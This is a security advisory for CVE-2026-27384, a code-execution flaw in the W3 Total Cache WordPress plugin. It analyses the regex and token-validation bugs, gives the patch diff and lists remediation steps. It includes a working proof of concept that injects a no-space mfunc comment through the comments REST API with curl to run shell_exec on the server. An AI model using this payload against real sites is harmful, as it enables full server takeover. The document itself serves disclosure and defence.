CVE-2026-27384: Unauthenticated RCE in W3 Total Cache
Table of Contents
CVE-2026-27384 is a CVSS 9.8 Critical unauthenticated arbitrary code execution vulnerability in the W3 Total Cache WordPress plugin. Affecting all versions up to and including 2.9.1, it allows a remote, unauthenticated attacker to execute arbitrary PHP code on the server via the plugin’s Dynamic Fragment Caching (mfunc/mclude) feature — no WordPress account required.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | W3 Total Cache |
| Plugin Slug | w3-total-cache |
| CVE ID | CVE-2026-27384 |
| CVSS Score | 9.8 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Vulnerability Type | Unauthenticated Arbitrary Code Execution (Code Injection via eval()) |
| Affected Versions | <= 2.9.1 |
| Patched Version | 2.9.2 |
| Published | February 24, 2026 |
| Researcher | CODE WHITE GmbH |
| Wordfence Advisory | Link |
Description
The W3 Total Cache plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.9.1. This makes it possible for unauthenticated attackers to execute code on the server.
The root cause lies in the plugin’s Dynamic Fragment Caching feature — specifically the mfunc/mclude system — which executes arbitrary PHP code embedded in HTML comments within the page output buffer via PHP’s eval(). The feature is guarded by a W3TC_DYNAMIC_SECURITY constant (security token), but multiple flaws in how this token is validated and how user-supplied content is sanitised allow the protection to be bypassed.
Technical Analysis
Feature Background: mfunc / mclude
W3 Total Cache’s Dynamic Fragment Caching allows site developers to embed PHP code or file includes directly in page HTML using special HTML comment tags:
<!-- mfunc SECURITY_TOKEN
echo get_current_user_id();
-->
<!-- /mfunc SECURITY_TOKEN -->
When the page cache serves a cached page containing such tags, W3TC processes them server-side: the embedded PHP is executed via eval() and its output replaces the comment block. This feature is controlled by the PHP constant W3TC_DYNAMIC_SECURITY defined in wp-config.php.
Vulnerable Code Path
Step 1 — Execution entry point: _parse_dynamic_mfunc() (PgCache_ContentGrabber.php)
// PgCache_ContentGrabber.php (vulnerable 2.9.1)
public function _parse_dynamic_mfunc( $matches ) {
$code1 = trim( $matches[1] );
$code2 = trim( $matches[2] );
$code = ( $code1 ? $code1 : $code2 );
if ( $code ) {
$code = trim( $code, ';' ) . ';';
try {
ob_start();
$result = eval( $code ); // <-- ARBITRARY PHP CODE EXECUTION
$output = ob_get_contents();
ob_end_clean();
} catch ( \Exception $ex ) {
$result = false;
}
...
}
}
This function executes whatever PHP code is captured by the mfunc regex without any further access control.
Step 2 — Triggering eval: _parse_dynamic() (PgCache_ContentGrabber.php:2091)
_parse_dynamic() scans the output buffer using preg_replace_callback with the mfunc regex pattern:
// PgCache_ContentGrabber.php (VULNERABLE — 2.9.1)
public function _parse_dynamic( $buffer ) {
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) || empty( W3TC_DYNAMIC_SECURITY ) || 1 === (int) W3TC_DYNAMIC_SECURITY ) {
return $buffer;
}
$buffer = preg_replace_callback(
// BUG 1: W3TC_DYNAMIC_SECURITY is used RAW — no preg_quote()
// BUG 2: \s* (zero or more spaces) before the token — allows no-space tags
'~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--\s*/mfunc\s*' . W3TC_DYNAMIC_SECURITY . '\s*-->~Uis',
array( $this, '_parse_dynamic_mfunc' ),
$buffer
);
...
}
Bug 1 — Missing preg_quote(): W3TC_DYNAMIC_SECURITY is interpolated directly into a regex pattern. If the constant contains regex metacharacters (., *, +, ?, [, ], ^, $, |, \, (, )), the pattern matches far more broadly than the literal token value.
Bug 2 — \s* allows zero spaces: The pattern \s*TOKEN requires zero or more whitespace characters between mfunc and the token. This means a no-space tag <!-- mfuncTOKEN code --> MATCHES the execution regex.
Step 3 — Sanitisation bypass: strip_dynamic_fragment_tags_from_string() (Generic_Plugin.php:212)
This function is supposed to remove mfunc/mclude tags from user-supplied content (comments, REST API responses, RSS feeds) before storage:
// Generic_Plugin.php (VULNERABLE — 2.9.1)
private function strip_dynamic_fragment_tags_from_string( $value ) {
if ( ! is_string( $value ) || ! defined( 'W3TC_DYNAMIC_SECURITY' ) || empty( W3TC_DYNAMIC_SECURITY ) ) {
return $value;
}
$pattern = array(
// BUG 3: \s+ (one or more spaces) is REQUIRED between mfunc and token
// Tags like <!-- mfuncTOKEN --> have NO space — this regex MISSES them
'~<!--\s*mfunc\s+[^\s]+.*?-->(.*?)<!--\s*/mfunc\s+[^\s]+.*?\s*-->~Uis',
'~<!--\s*mclude\s+[^\s]+.*?-->(.*?)<!--\s*/mclude\s+[^\s]+.*?\s*-->~Uis',
);
$value = preg_replace_callback( $pattern, function ( $matches ) {
return $matches[1]; // Keep content between tags
}, $value );
// Remove the security token from the remaining value
return str_replace( W3TC_DYNAMIC_SECURITY, '', $value );
}
Bug 3 — \s+ vs \s* mismatch: The strip function requires at least one space (\s+) between mfunc and the token. However, the execution regex uses \s* (zero spaces allowed). A tag crafted as <!-- mfuncTOKEN code --><!-- /mfuncTOKEN --> (no space between mfunc and token) bypasses the strip function entirely but still matches the execution pattern.
Step 4 — Incomplete token validation: _has_dynamic() (PgCache_ContentGrabber.php:2192)
// PgCache_ContentGrabber.php (VULNERABLE — 2.9.1)
public function _has_dynamic( $buffer ) {
// BUG 4: Only checks defined() — not empty(), not numeric-only tokens
if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
return false;
}
return preg_match(
// BUG 1+2 repeated: no preg_quote, uses \s*
'~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--\s*/m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '\s*-->~Uis',
$buffer
);
}
Bug 4: The check only verifies that W3TC_DYNAMIC_SECURITY is defined(). It does not guard against an empty string, a whitespace-only value, or a regex-metacharacter token. An empty token would cause _has_dynamic() to return true for any mfunc comment, while _parse_dynamic() would still guard against execution (via empty() check). But with a regex-metacharacter token (e.g., .), BOTH _has_dynamic() and _parse_dynamic() accept the forged input.
Root Cause
The combined exploitation relies on two preconditions:
W3TC_DYNAMIC_SECURITYcontains at least one regex metacharacter (e.g., a single dot.is sufficient).- User-controlled content (e.g., a WordPress comment) is rendered in the page output buffer on a W3TC-cached page.
Why Existing Controls Failed
The security model assumes:
- The token is a literal string secret that must appear verbatim in mfunc tags.
- User-submitted content is sanitised to remove mfunc tags before storage.
Both assumptions break simultaneously:
preg_quote()omission causes the token to act as a regex pattern, not a literal string. A token like.matches any single character, so<!-- mfuncA code -->satisfies the pattern without the actual token.\s+vs\s*gap: No-space tags bypassstr_replaceremoval (since the token appears only asmfuncTOKENconcatenated, not as a standalone string to be removed if a single-char metacharacter is used).
Attack Impact
An unauthenticated attacker can execute arbitrary PHP code on the server with the privileges of the web server process. This enables:
- Full server compromise
- Reading, modifying, or deleting all WordPress files and database contents
- Installing web shells or backdoors
- Pivoting to internal network services
- Exfiltrating sensitive data (credentials, API keys, user data)
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress site with
w3-total-cacheplugin installed and activated (version ≤ 2.9.1) - Page caching enabled in W3TC settings
- Comments enabled on one or more cached pages
W3TC_DYNAMIC_SECURITYis defined inwp-config.phpand contains a regex metacharacter (e.g.,define('W3TC_DYNAMIC_SECURITY', '.');)
Step-by-Step Reproduction
Step 1: Identify a target post with caching and comments enabled
Navigate to any WordPress post that has comments enabled and is cached by W3TC. Note the URL.
TARGET_URL="https://target.example.com/?p=1"
Step 2: Inject the malicious mfunc payload via comment submission
Submit a comment using the WordPress comment REST API or the standard form. The payload uses a no-space mfunc tag to bypass the strip sanitiser:
# The payload: <!-- mfuncA phpcode --><!-- /mfuncA -->
# 'A' is an arbitrary character that matches the regex-metacharacter token (e.g., '.')
# The PHP code is base64-encoded to avoid HTML encoding issues
PAYLOAD='<!-- mfuncA echo shell_exec("id"); --><!-- /mfuncA -->'
curl -s -X POST "$TARGET_URL/wp-json/wp/v2/comments" \
-H "Content-Type: application/json" \
-d "{
\"post\": 1,
\"author_name\": \"Visitor\",
\"author_email\": \"visitor@example.com\",
\"content\": \"$PAYLOAD\"
}"
If comment moderation is enabled, the attacker waits for approval, or alternatively submits via the HTML form to an existing open-comment post.
Step 3: Trigger page re-caching (or wait for cache expiry)
Request the page to force W3TC to re-render and re-cache the page with the injected comment:
# First request: W3TC re-renders the page (cache miss) and caches with has_dynamic=true
curl -s "$TARGET_URL" > /dev/null
# Second request: W3TC serves from cache and runs _parse_dynamic() -> eval()
curl -s "$TARGET_URL"
Step 4: Observe code execution in the response
The page response will include the output of shell_exec("id") at the position of the comment, e.g.:
<!-- Comment content: -->
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Expected Result
The server executes the injected PHP code (shell_exec("id") in the example) with the privileges of the web server process, returning the output inline in the rendered page.
Verification
To confirm code execution, check the HTTP response body for the output of the OS command (e.g., the string uid= for Linux). For more persistent testing, replace shell_exec("id") with file_put_contents('/tmp/w3tc_pwned.txt', 'RCE confirmed'); and verify the file creation on the server.
Patch Analysis
What Changed
| File | Change |
|---|---|
PgCache_ContentGrabber.php | Added preg_quote() around token; changed \s* → \s+ in _parse_dynamic() and _has_dynamic(); added empty() and 1 === (int) checks to _has_dynamic() |
Generic_Plugin.php | Changed strip regex from \s+[^\s]+ to \s*\S+ to also catch no-space tags; refactored ob_start to avoid display-handler restriction |
Fix Explanation
Fix 1 — preg_quote() (root cause):
- '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->~Uis'
+ $security = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );
+ '~<!--\s*mfunc\s+' . $security . '(.*)-->~Uis'
preg_quote() escapes all regex metacharacters in the token, ensuring it is treated as a literal string. A token of . no longer matches any character — it only matches a literal dot.
Fix 2 — \s* → \s+ in execution regex:
- '~<!--\s*mfunc\s*TOKEN(.*)-->~Uis'
+ '~<!--\s*mfunc\s+TOKEN(.*)-->~Uis'
Requiring at least one space between mfunc and the token eliminates the <!-- mfuncTOKEN --> no-space attack vector.
Fix 3 — Strip regex: \s+[^\s]+ → \s*\S+:
- '~<!--\s*mfunc\s+[^\s]+.*?-->(.*?)<!--\s*/mfunc\s+[^\s]+.*?\s*-->~Uis'
+ '~<!--\s*mfunc\s*\S+.*?-->(.*?)<!--\s*/mfunc\s*\S+.*?\s*-->~Uis'
Changed to allow zero spaces between mfunc and the token (\s*\S+), so no-space tags like <!-- mfuncTOKEN --> are now caught and stripped before reaching the str_replace fallback.
Fix 4 — Additional guards in _has_dynamic():
- if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
+ if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) || empty( W3TC_DYNAMIC_SECURITY ) || 1 === (int) W3TC_DYNAMIC_SECURITY ) {
Guards against empty tokens (PHP empty('') = true) and pure-integer tokens (cast to 1 would match is_numeric checks) marking pages as dynamic.
Fix 5 — ob_start refactor (defense in depth):
In 2.9.1, W3TC registered ob_callback() as a PHP display handler via ob_start(array($this, 'ob_callback')). PHP’s display-handler lock (ob_lock) prevents nested ob_start() calls inside display handler callbacks. Since _parse_dynamic_mfunc() uses ob_start() to capture eval() output, this created unreliable behaviour: the eval output might leak into the parent buffer or the capture might fail.
The fix moves mfunc processing out of the display handler callback and into a WordPress shutdown action (priority 0), where ob_start() can safely be called.
Code Diff (Key Changes)
--- a/PgCache_ContentGrabber.php
+++ b/PgCache_ContentGrabber.php
@@ _parse_dynamic() @@
+ $security = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );
$buffer = preg_replace_callback(
- '~<!--\s*mfunc\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--\s*/mfunc\s*' . W3TC_DYNAMIC_SECURITY . '\s*-->~Uis',
+ '~<!--\s*mfunc\s+' . $security . '(.*)-->(.*)<!--\s*/mfunc\s+' . $security . '\s*-->~Uis',
@@ _has_dynamic() @@
- if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) ) {
+ if ( ! defined( 'W3TC_DYNAMIC_SECURITY' ) || empty( W3TC_DYNAMIC_SECURITY ) || 1 === (int) W3TC_DYNAMIC_SECURITY ) {
return false;
}
+ $security = preg_quote( W3TC_DYNAMIC_SECURITY, '~' );
+
return preg_match(
- '~<!--\s*m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '(.*)-->(.*)<!--\s*/m(func|clude)\s*' . W3TC_DYNAMIC_SECURITY . '\s*-->~Uis',
+ '~<!--\s*m(func|clude)\s+' . $security . '(.*)-->(.*)<!--\s*/m(func|clude)\s+' . $security . '\s*-->~Uis',
--- a/Generic_Plugin.php
+++ b/Generic_Plugin.php
@@ strip_dynamic_fragment_tags_from_string() @@
+ // Use \s*\S+ so no-space tags like <!-- mfuncTOKEN --> are also caught
$pattern = array(
- '~<!--\s*mfunc\s+[^\s]+.*?-->(.*?)<!--\s*/mfunc\s+[^\s]+.*?\s*-->~Uis',
+ '~<!--\s*mfunc\s*\S+.*?-->(.*?)<!--\s*/mfunc\s*\S+.*?\s*-->~Uis',
@@ ob_start handling @@
- ob_start( array( $this, 'ob_callback' ) );
+ ob_start();
+ $this->_ob_level = ob_get_level();
+ add_action( 'shutdown', array( $this, 'ob_shutdown' ), 0 );
+ register_shutdown_function( array( $this, 'ob_shutdown' ) );
The fix is complete. No residual risks are identified in the patched code for this specific vulnerability chain.
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability discovered and reported by CODE WHITE GmbH |
| February 24, 2026 | Publicly disclosed by Wordfence |
| February 2026 | Patched version 2.9.2 released |
Remediation
Update the w3-total-cache plugin to version 2.9.2 or later.
Additionally:
- If your site uses the mfunc/mclude Dynamic Fragment Caching feature, ensure
W3TC_DYNAMIC_SECURITYis set to a long, random, alphanumeric string (no regex metacharacters). - If you do not use the mfunc feature, do not define
W3TC_DYNAMIC_SECURITYinwp-config.php. - Review existing comments for any residual mfunc tags.